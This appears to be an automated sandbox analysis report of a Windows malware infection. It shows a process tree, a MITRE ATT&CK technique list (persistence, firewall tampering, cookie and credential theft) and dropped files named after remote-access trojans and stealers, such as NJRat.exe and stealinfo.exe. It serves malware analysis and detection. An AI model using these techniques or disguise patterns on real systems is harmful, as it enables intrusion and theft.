C:\Users\Admin\AppData\Local\Temp\SDASD.exeC:\Users\Admin\AppData\Local\Temp\SDASD.exe1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /svc1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Google\Update\Install\{9B1BB309-226D-4566-95A3-69EABAAB3800}\131.0.6778.86_chrome_installer.exe"C:\Program Files (x86)\Google\Update\Install\{9B1BB309-226D-4566-95A3-69EABAAB3800}\131.0.6778.86_chrome_installer.exe" --verbose-logging --do-not-launch-chrome --channel=stable --system-level /installerdata="C:\Program Files (x86)\Google\Update\Install\{9B1BB309-226D-4566-95A3-69EABAAB3800}\gui8890.tmp"2⤵
-
C:\Program Files (x86)\Google\Update\Install\{9B1BB309-226D-4566-95A3-69EABAAB3800}\CR_477F4.tmp\setup.exe"C:\Program Files (x86)\Google\Update\Install\{9B1BB309-226D-4566-95A3-69EABAAB3800}\CR_477F4.tmp\setup.exe" --install-archive="C:\Program Files (x86)\Google\Update\Install\{9B1BB309-226D-4566-95A3-69EABAAB3800}\CR_477F4.tmp\CHROME.PACKED.7Z" --verbose-logging --do-not-launch-chrome --channel=stable --system-level /installerdata="C:\Program Files (x86)\Google\Update\Install\{9B1BB309-226D-4566-95A3-69EABAAB3800}\gui8890.tmp"3⤵
- Boot or Logon Autostart Execution: Active Setup
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
-
C:\Program Files (x86)\Google\Update\Install\{9B1BB309-226D-4566-95A3-69EABAAB3800}\CR_477F4.tmp\setup.exe"C:\Program Files (x86)\Google\Update\Install\{9B1BB309-226D-4566-95A3-69EABAAB3800}\CR_477F4.tmp\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=131.0.6778.86 --initial-client-data=0x244,0x248,0x24c,0x220,0x250,0x7ff7425c5d68,0x7ff7425c5d74,0x7ff7425c5d804⤵
- Drops file in Windows directory
-
-
C:\Program Files (x86)\Google\Update\Install\{9B1BB309-226D-4566-95A3-69EABAAB3800}\CR_477F4.tmp\setup.exe"C:\Program Files (x86)\Google\Update\Install\{9B1BB309-226D-4566-95A3-69EABAAB3800}\CR_477F4.tmp\setup.exe" --channel=stable --system-level --verbose-logging --create-shortcuts=2 --install-level=14⤵
- Drops file in Windows directory
-
C:\Program Files (x86)\Google\Update\Install\{9B1BB309-226D-4566-95A3-69EABAAB3800}\CR_477F4.tmp\setup.exe"C:\Program Files (x86)\Google\Update\Install\{9B1BB309-226D-4566-95A3-69EABAAB3800}\CR_477F4.tmp\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=131.0.6778.86 --initial-client-data=0x248,0x24c,0x250,0x224,0x254,0x7ff7425c5d68,0x7ff7425c5d74,0x7ff7425c5d805⤵
- Drops file in Windows directory
-
-
-
-
-
C:\Program Files (x86)\Google\Update\1.3.36.352\GoogleCrashHandler.exe"C:\Program Files (x86)\Google\Update\1.3.36.352\GoogleCrashHandler.exe"2⤵
-
-
C:\Program Files (x86)\Google\Update\1.3.36.352\GoogleCrashHandler64.exe"C:\Program Files (x86)\Google\Update\1.3.36.352\GoogleCrashHandler64.exe"2⤵
-
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4zNi4zNTIiIHNoZWxsX3ZlcnNpb249IjEuMy4zNi4zNTEiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7MUNGM0Y3MDItNDQ3Mi00QkRFLThFOEItRDk3QkZFOTZCMzJEfSIgdXNlcmlkPSJ7ODgzOTVERTQtOEYzNi00RTE3LTk1MTQtRkRFNTE4MEY5NTg1fSIgaW5zdGFsbHNvdXJjZT0idGFnZ2VkbWkiIHJlcXVlc3RpZD0ie0MxMTc2MDMxLUI4MzUtNDZEQy1CRDZCLUNEMkQzNEU3OEY3Rn0iIGRlZHVwPSJjciIgZG9tYWluam9pbmVkPSIwIj48aHcgcGh5c21lbW9yeT0iOCIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4yMjAwMC40OTMiIHNwPSIiIGFyY2g9Ing2NCIvPjxhcHAgYXBwaWQ9Ins4QTY5RDM0NS1ENTY0LTQ2M0MtQUZGMS1BNjlEOUU1MzBGOTZ9IiB2ZXJzaW9uPSIiIG5leHR2ZXJzaW9uPSIxMzEuMC42Nzc4Ljg2IiBhcD0ieDY0LXN0YWJsZS1zdGF0c2RlZl8xIiBsYW5nPSJ6aC1DTiIgYnJhbmQ9IiIgY2xpZW50PSIiIGluc3RhbGxhZ2U9IjUxIiBpaWQ9IntEQjI0RUREMy05OTIwLTVENUYtRkJCRS04RTc0M0Y3NDg2QzF9IiBjb2hvcnQ9IjE6Z3UvaTE5OiIgY29ob3J0bmFtZT0iU3RhYmxlIEluc3RhbGxzICZhbXA7IFZlcnNpb24gUGlucyI-PGV2ZW50IGV2ZW50dHlwZT0iOSIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIvPjxldmVudCBldmVudHR5cGU9IjUiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiLz48ZXZlbnQgZXZlbnR0eXBlPSIxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIiBkb3dubG9hZGVyPSJiaXRzIiB1cmw9Imh0dHA6Ly9lZGdlZGwubWUuZ3Z0MS5jb20vZWRnZWRsL3JlbGVhc2UyL2Nocm9tZS9hZG1neGx0NGQ1YzVyY3Rub3p3M3d6cGh3MndxXzEzMS4wLjY3NzguODYvMTMxLjAuNjc3OC44Nl9jaHJvbWVfaW5zdGFsbGVyLmV4ZSIgZG93bmxvYWRlZD0iMTE2MTE5NDA4IiB0b3RhbD0iMTE2MTE5NDA4IiBkb3dubG9hZF90aW1lX21zPSIzNDU5MyIvPjxldmVudCBldmVudHR5cGU9IjEiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiLz48ZXZlbnQgZXZlbnR0eXBlPSI2IiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIi8-PGV2ZW50IGV2ZW50dHlwZT0iMiIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMTk2NzA3IiBzb3VyY2VfdXJsX2luZGV4PSIwIiB1cGRhdGVfY2hlY2tfdGltZV9tcz0iMTYzNSIgZG93bmxvYWRfdGltZV9tcz0iMzYwMTUiIGRvd25sb2FkZWQ9IjExNjExOTQwOCIgdG90YWw9IjExNjExOTQwOCIgaW5zdGFsbF90aW1lX21zPSIzNzQ5MCIvPjwvYXBwPjwvcmVxdWVzdD42⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exeC:\Users\Admin\AppData\Local\Temp\svchost.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\XClient.exeC:\Users\Admin\AppData\Roaming\XClient.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\SDASD.exeC:\Users\Admin\AppData\Local\Temp\SDASD.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 6760 -ip 67601⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 6264 -ip 62641⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 6132 -ip 61321⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 6748 -ip 67481⤵
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004C4 0x00000000000004E81⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 3468 -ip 34681⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4580 -ip 45801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 5016 -ip 50161⤵
-
C:\Users\Admin\AppData\Local\Temp\svchost.exeC:\Users\Admin\AppData\Local\Temp\svchost.exe1⤵
-
C:\Users\Admin\AppData\Roaming\XClient.exeC:\Users\Admin\AppData\Roaming\XClient.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\SDASD.exeC:\Users\Admin\AppData\Local\Temp\SDASD.exe1⤵
-
C:\Users\Admin\Desktop\Files\AA_v3.exe"C:\Users\Admin\Desktop\Files\AA_v3.exe" -service -lunch1⤵
-
C:\Users\Admin\Desktop\Files\AA_v3.exe"C:\Users\Admin\Desktop\Files\AA_v3.exe"2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 7868 -ip 78681⤵
-
C:\Program Files (x86)\Google\Update\1.3.36.352\GoogleUpdateOnDemand.exe"C:\Program Files (x86)\Google\Update\1.3.36.352\GoogleUpdateOnDemand.exe" -Embedding1⤵
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ondemand2⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --from-installer3⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=131.0.6778.86 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa799efd08,0x7ffa799efd14,0x7ffa799efd204⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations=is-enterprise-managed=no --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1996,i,13699523930034586678,1972814879656665334,262144 --variations-seed-version --mojo-platform-channel-handle=1992 /prefetch:24⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations=is-enterprise-managed=no --field-trial-handle=1716,i,13699523930034586678,1972814879656665334,262144 --variations-seed-version --mojo-platform-channel-handle=2408 /prefetch:114⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations=is-enterprise-managed=no --field-trial-handle=2152,i,13699523930034586678,1972814879656665334,262144 --variations-seed-version --mojo-platform-channel-handle=2412 /prefetch:134⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations=is-enterprise-managed=no --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3192,i,13699523930034586678,1972814879656665334,262144 --variations-seed-version --mojo-platform-channel-handle=3204 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations=is-enterprise-managed=no --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3212,i,13699523930034586678,1972814879656665334,262144 --variations-seed-version --mojo-platform-channel-handle=3348 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations=is-enterprise-managed=no --extension-process --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3180,i,13699523930034586678,1972814879656665334,262144 --variations-seed-version --mojo-platform-channel-handle=3960 /prefetch:94⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations=is-enterprise-managed=no --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4580,i,13699523930034586678,1972814879656665334,262144 --variations-seed-version --mojo-platform-channel-handle=4628 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations=is-enterprise-managed=no --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=4668,i,13699523930034586678,1972814879656665334,262144 --variations-seed-version --mojo-platform-channel-handle=4852 /prefetch:14⤵
-
-
-
-
C:\Program Files\Google\Chrome\Application\131.0.6778.86\elevation_service.exe"C:\Program Files\Google\Chrome\Application\131.0.6778.86\elevation_service.exe"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 8592 -ip 85921⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 7124 -ip 71241⤵
-
C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 6296 -ip 62961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 7056 -ip 70561⤵
-
C:\Program Files\Google\Chrome\Application\131.0.6778.86\elevation_service.exe"C:\Program Files\Google\Chrome\Application\131.0.6778.86\elevation_service.exe"1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\svchost.exeC:\Users\Admin\AppData\Local\Temp\svchost.exe1⤵
-
C:\Users\Admin\AppData\Roaming\XClient.exeC:\Users\Admin\AppData\Roaming\XClient.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\SDASD.exeC:\Users\Admin\AppData\Local\Temp\SDASD.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 380 -p 7172 -ip 71721⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 7204 -ip 72041⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 6184 -ip 61841⤵
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Boot or Logon Autostart Execution
3Active Setup
1Registry Run Keys / Startup Folder
2Create or Modify System Process
2Windows Service
2Event Triggered Execution
2Component Object Model Hijacking
1Image File Execution Options Injection
1Modify Authentication Process
1Power Settings
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
3Active Setup
1Registry Run Keys / Startup Folder
2Create or Modify System Process
2Windows Service
2Event Triggered Execution
2Component Object Model Hijacking
1Image File Execution Options Injection
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
2Disable or Modify System Firewall
1Modify Authentication Process
1Modify Registry
4Subvert Trust Controls
1Install Root Certificate
1Credential Access
Modify Authentication Process
1Steal Web Session Cookie
1Unsecured Credentials
2Credentials In Files
2Discovery
Network Share Discovery
1Peripheral Device Discovery
1Process Discovery
1Query Registry
4Remote System Discovery
1System Information Discovery
4System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
GoogleUpdate.exe
maza-qt.exe
setup.exe
drpbx.exe
settings.dat
Google Profile.ico
SCT Auditing Pending Reports
TransportSecurity
trusted_vault.pb
Local State
Local State
Local State
JJSploit.exe
settings.dat
settings.dat
settings.dat
settings.dat
Preferences
Local State
iconcache_idx.db
activity-stream.discovery_stream.json
webext.sc.lz4
Predicted.pif
519810010.exe
Cooper.pif
CAD7.tmp.zx.exe
CFD9.tmp.x.exe
D180.tmp.Diamotrix.exe
02.08.2022.exe
06082025.exe
12.exe
2020.exe
3546345.exe
444.exe
7cl16anh.exe
AsyncClient.exe
ChromeSetup.exe
Client-built.exe
ConsoleApp3.exe
Discord.exe
JJSploit_8.10.7_x64-setup.exe
Loader.exe
MePaxil.exe
NJRat.exe
PaoNan.exe
RDX123456.exe
S%D0%B5tup.exe
Setup.exe
XClient.exe
anne.exe
anubis.exe
build_2024-07-24_23-16.exe
built.exe
bundle.exe
cccc2.exe
cdb.exe
cock.exe
compiled.exe
golden.exe
hailhydra.exe
hs.exe
injectorOld.exe
intro.avi.exe
jerniuiopu.exe
keygen.exe
kiyan.exe
logon.exe
maza-0.16.3-win32-setup-unsigned.exe
new_v8.exe
npp.exe
payload.exe
random.exe
sgx4824p.exe
shell.exe
steal_stub.exe
stealinfo.exe
svchost.exe
test11.exe
ttl.exe
winbox.exe
Impacts.bat
cookies.txt
history.txt
Tmp7847.tmp
Za
Blsvr.exe
VCRUNTIME140.dll
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_queue.pyd
_socket.pyd
_ssl.pyd
base_library.zip
cacert.pem
md.cp311-win_amd64.pyd
md__mypyc.cp311-win_amd64.pyd
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
_psutil_windows.pyd
python3.DLL
python311.dll
select.pyd
unicodedata.pyd
Conakry
Djibouti
Kigali
Lagos
Curacao
Toronto
Greenwich
London
Oslo
Skopje
PRC
Wallis
Yap
UCT
cacert.pem
INSTALLER
__PSScriptPolicyTest_51mies0a.xcc.ps1
f5edc8b9
modern-wizard.bmp
nsis_tauri_utils.dll
tmpaddon
tmpaddon-1
TradeSwan.scr
955a30ae-0ffd-4479-a717-dc977b74c700.tmp
settings.dat
settings.dat
MANIFEST-000001
CURRENT
be2d9459-5255-44eb-a50b-e68a883f8739.tmp
data_0
data_1
data_2
data_3
0f5007522459c86e95ffcc62f32308f1_98bf7e79-8c75-4ee3-90d5-4fb9386da93e
76b53b3ec448f7ccdda2063b15d2bfc3_98bf7e79-8c75-4ee3-90d5-4fb9386da93e
3KZ2WS4UL88BDWMW8HI3.temp
6824f4a902c78fbd.customDestinations-ms
AlternateServices.bin
AlternateServices.bin
AlternateServices.bin
data.safe.tmp
data.safe.tmp
data.safe.tmp
data.safe.tmp
data.safe.tmp
data.safe.tmp
11d375e8-2046-4fd7-a9a2-5bdbd4c266bb
3f15002b-63dd-4a90-9fa6-7aa44fb60bed
b18daf37-0a22-43de-a0bd-d5f33ba0ba6b
c8df7aef-f325-4bdf-938d-eb53bd26faf6
ca88e547-1bee-420c-938a-3c9239b0904f
d890c0e0-bbc1-4cd3-ab58-8b190f795a89
e050eea9-8759-4b2b-9b14-ceff51d2fd82
gmpopenh264.dll
gmpopenh264.info
manifest.json
widevinecdm.dll
prefs-1.js
prefs-1.js
prefs-1.js
prefs.js
prefs.js
prefs.js
sessionCheckpoints.json
sessionCheckpoints.json
recovery.baklz4
recovery.baklz4
recovery.baklz4
recovery.baklz4
recovery.baklz4
{a17582fd-04f4-4abf-93e8-4b3c950faa8b}.final
{5c0cdc71-c198-48ad-9e7d-456855e589ab}.final
{c17900dc-0d44-408a-aa3e-8e77b0fccb38}.final
2115598223yCt7-%iCt7-%raebs8p4o.sqlite
dTRpVCE.tmp
02.08.2022.exe
CrazyCoach.exe
DEF.exe
DiscordSpotifyBypass.exe
GOLD.exe
InstallerPack_20.1.23770_win64.exe
MK.exe
Runtime%20Broker.exe
Setup2.exe
Unit.exe
XClient.exe
main_v4.exe
naver.exe
peinf.exe
plantrojan.exe
qth5kdee.exe
rat.exe
svchost.exe
up.exe
xt.exe
Microsoft Edge.lnk
hosts
memory/776-509-0x0000000000860000-0x000000000087A000-memory.dmp
memory/864-4612-0x0000000000400000-0x0000000000452000-memory.dmp
memory/864-4615-0x0000000005000000-0x000000000500A000-memory.dmp
memory/864-4613-0x0000000005600000-0x0000000005BA6000-memory.dmp
memory/864-4614-0x0000000005050000-0x00000000050E2000-memory.dmp
memory/1876-4402-0x0000000000120000-0x0000000000130000-memory.dmp
memory/2084-2-0x00000000055A0000-0x000000000563C000-memory.dmp
memory/2084-40-0x0000000074420000-0x0000000074BD1000-memory.dmp
memory/2084-39-0x000000007442E000-0x000000007442F000-memory.dmp
memory/2084-3-0x0000000074420000-0x0000000074BD1000-memory.dmp
memory/2084-0-0x000000007442E000-0x000000007442F000-memory.dmp
memory/2084-1-0x0000000000B00000-0x0000000000B08000-memory.dmp
memory/2356-1178-0x0000000001400000-0x0000000001700000-memory.dmp
memory/2356-1205-0x0000000001400000-0x0000000001700000-memory.dmp
memory/2356-1206-0x0000000001400000-0x0000000001700000-memory.dmp
memory/2356-1180-0x0000000001400000-0x0000000001700000-memory.dmp
memory/2356-1181-0x0000000001400000-0x0000000001700000-memory.dmp
memory/2432-38-0x00000284ED410000-0x00000284ED411000-memory.dmp
memory/2432-36-0x00000284ED410000-0x00000284ED411000-memory.dmp
memory/2432-28-0x00000284ED410000-0x00000284ED411000-memory.dmp
memory/2432-32-0x00000284ED410000-0x00000284ED411000-memory.dmp
memory/2432-33-0x00000284ED410000-0x00000284ED411000-memory.dmp
memory/2432-26-0x00000284ED410000-0x00000284ED411000-memory.dmp
memory/2432-34-0x00000284ED410000-0x00000284ED411000-memory.dmp
memory/2432-35-0x00000284ED410000-0x00000284ED411000-memory.dmp
memory/2432-37-0x00000284ED410000-0x00000284ED411000-memory.dmp
memory/2432-27-0x00000284ED410000-0x00000284ED411000-memory.dmp
memory/2812-5700-0x0000000000400000-0x00000000004CD000-memory.dmp
memory/2812-5785-0x0000000000400000-0x00000000004CD000-memory.dmp
memory/3136-171-0x0000000000770000-0x0000000000782000-memory.dmp
memory/3360-3464-0x0000000000420000-0x000000000043A000-memory.dmp
memory/3620-1209-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-2330-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-3055-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-3022-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-2989-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-2924-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-2888-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-2815-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-2747-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-2704-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-2665-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-151-0x00000171D21B0000-0x00000171D21D0000-memory.dmp
memory/3620-2598-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-157-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-191-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-238-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-2529-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-2496-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-2399-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-2291-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-2234-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-681-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-777-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-1179-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-2015-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-1749-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-1476-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-1228-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-1227-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-1210-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-1212-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-1213-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-1214-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3620-1226-0x00007FF61A4A0000-0x00007FF61AC8F000-memory.dmp
memory/3804-1185-0x0000000004B80000-0x0000000004BD9000-memory.dmp
memory/3804-1188-0x0000000004B80000-0x0000000004BD9000-memory.dmp
memory/3804-1187-0x0000000004B80000-0x0000000004BD9000-memory.dmp
memory/3804-1184-0x0000000004B80000-0x0000000004BD9000-memory.dmp
memory/3804-1186-0x0000000004B80000-0x0000000004BD9000-memory.dmp
memory/4112-678-0x0000000000720000-0x0000000000728000-memory.dmp
memory/4216-150-0x00007FF757020000-0x00007FF757598000-memory.dmp
memory/4216-130-0x00007FF757020000-0x00007FF757598000-memory.dmp
memory/4252-1224-0x0000000000830000-0x0000000000864000-memory.dmp
memory/4252-1827-0x000000000A170000-0x000000000A1E6000-memory.dmp
memory/4252-1832-0x00000000053D0000-0x00000000053EE000-memory.dmp
memory/4252-2014-0x0000000005700000-0x0000000005766000-memory.dmp
memory/4252-1225-0x0000000001310000-0x0000000001316000-memory.dmp
memory/4512-24-0x0000000074420000-0x0000000074BD1000-memory.dmp
memory/4512-25-0x0000000074420000-0x0000000074BD1000-memory.dmp
memory/4512-15-0x00000000008A0000-0x0000000000900000-memory.dmp
memory/4512-16-0x0000000074420000-0x0000000074BD1000-memory.dmp
memory/4512-41-0x0000000074420000-0x0000000074BD1000-memory.dmp
memory/4568-4606-0x0000000000FF0000-0x0000000001044000-memory.dmp
memory/4592-23-0x0000000000400000-0x0000000000462000-memory.dmp
memory/4592-21-0x0000000000400000-0x0000000000462000-memory.dmp
memory/4592-18-0x0000000000400000-0x0000000000462000-memory.dmp
memory/4664-379-0x0000000000B80000-0x0000000000B92000-memory.dmp
memory/4868-668-0x0000000000400000-0x0000000000435000-memory.dmp
memory/4868-665-0x0000000000400000-0x0000000000435000-memory.dmp
memory/4872-624-0x000001B46D820000-0x000001B46D842000-memory.dmp
memory/5348-4459-0x0000000031720000-0x00000000324CA000-memory.dmp
memory/5348-4462-0x0000000031720000-0x00000000324CA000-memory.dmp
memory/6516-5146-0x00000000062B0000-0x00000000062C2000-memory.dmp
memory/6516-5153-0x0000000006800000-0x000000000683C000-memory.dmp
memory/6516-5139-0x0000000000AB0000-0x0000000000B0E000-memory.dmp
memory/6528-5448-0x00007FFA7F150000-0x00007FFA7F15C000-memory.dmp
memory/6528-5434-0x00007FFA888D0000-0x00007FFA88986000-memory.dmp
